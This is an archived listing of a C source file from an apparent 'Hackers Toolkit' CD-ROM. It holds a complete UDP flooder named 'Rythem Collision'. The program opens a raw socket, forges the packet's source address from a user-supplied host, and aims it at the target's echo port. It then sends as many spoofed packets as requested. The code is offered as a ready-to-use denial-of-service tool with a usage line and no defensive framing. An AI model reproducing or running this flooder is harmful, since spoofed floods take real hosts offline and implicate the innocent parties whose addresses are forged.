home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Udp / unix / rc8.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  105 lines

  1.  
  2.  
  3. /* Rythem Collision UDP flooder. [v0.8]
  4.    this code was taken bit by bit most of it is mine but i need help where
  5.    i could get it. (wish i knew who made the original source =/).
  6.    
  7.    usage: rc <from host> <to host> <how many>
  8. */
  9.  
  10. #include<sys/types.h>
  11. #include<sys/socket.h>
  12. #include<netinet/in_systm.h>
  13. #include<netinet/in.h>
  14. #include<netinet/ip.h>
  15. #include<netinet/udp.h>
  16. #include<errno.h>
  17. #include<string.h>
  18. #include<netdb.h>
  19. #include<arpa/inet.h>
  20. #include<stdio.h>
  21. #define VERSION_S "0.8"
  22.  
  23. struct sockaddr sa;
  24.  
  25. main(int argc,char **argv)
  26. {
  27. int fd;
  28. int x=1;
  29. struct sockaddr_in *p;
  30. struct hostent *he;
  31. int numpackets;
  32. u_char gram[38]=
  33.         {
  34.         0x45,   0x00,   0x00,   0x26,
  35.         0x12,   0x34,   0x00,   0x00,
  36.         0xFF,   0x11,   0,      0,
  37.         0,      0,      0,      0,
  38.         0,      0,      0,      0,
  39.  
  40.         0,      0,      0,      0,
  41.         0x00,   0x12,   0x00,   0x00,
  42.  
  43.         '1','2','3','4','5','6','7','8','9','0'
  44.         };
  45.  
  46. fprintf(stderr, "Rythem Collision [v%s] -- Coded, Nso\n", VERSION_S);
  47. if(argc!=4)
  48.         {
  49.         fprintf(stderr,"usage: rc <from host> <to host> <how many>\n");
  50.         exit(1);
  51.         };
  52.  
  53. numpackets = atoi(argv[3]);
  54. if((he=gethostbyname(argv[1]))==NULL)
  55.         {
  56.         fprintf(stderr,"The source hostname _must_ be real.\n");
  57.         exit(1);
  58.         };
  59. bcopy(*(he->h_addr_list),(gram+12),4);
  60.  
  61. if((he=gethostbyname(argv[2]))==NULL)
  62.         {
  63.         fprintf(stderr,"The destination hostname does not exist.n");
  64.         exit(1);
  65.         };
  66. bcopy(*(he->h_addr_list),(gram+16),4);
  67.  
  68. *(u_short*)(gram+20)=htons((u_short)7);
  69. *(u_short*)(gram+22)=htons((u_short)7);
  70.  
  71. p=(struct sockaddr_in*)&sa;
  72. p->sin_family=AF_INET;
  73. bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
  74.  
  75. if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
  76.         {
  77.         perror("socket");
  78.         exit(1);
  79.         };
  80.  
  81. #ifdef IP_HDRINCL
  82. fprintf(stderr,"IP_HDRINCL: found!\n");
  83. if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
  84.         {
  85.         perror("setsockopt IP_HDRINCL");
  86.         exit(1);
  87.         };
  88. #else
  89. fprintf(stderr,"IP_HDRINCL: not found.\n");
  90. #endif
  91.  
  92. for(x=0;x<numpackets;x++)
  93. {
  94.  if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
  95.         {
  96.         perror("sendto");
  97.         exit(1);
  98.         };
  99.   printf("."); 
  100.   fflush(stdout);
  101.  }
  102. printf("\nnumber of packets sent: %d\n", x);
  103. }
  104.  
  105.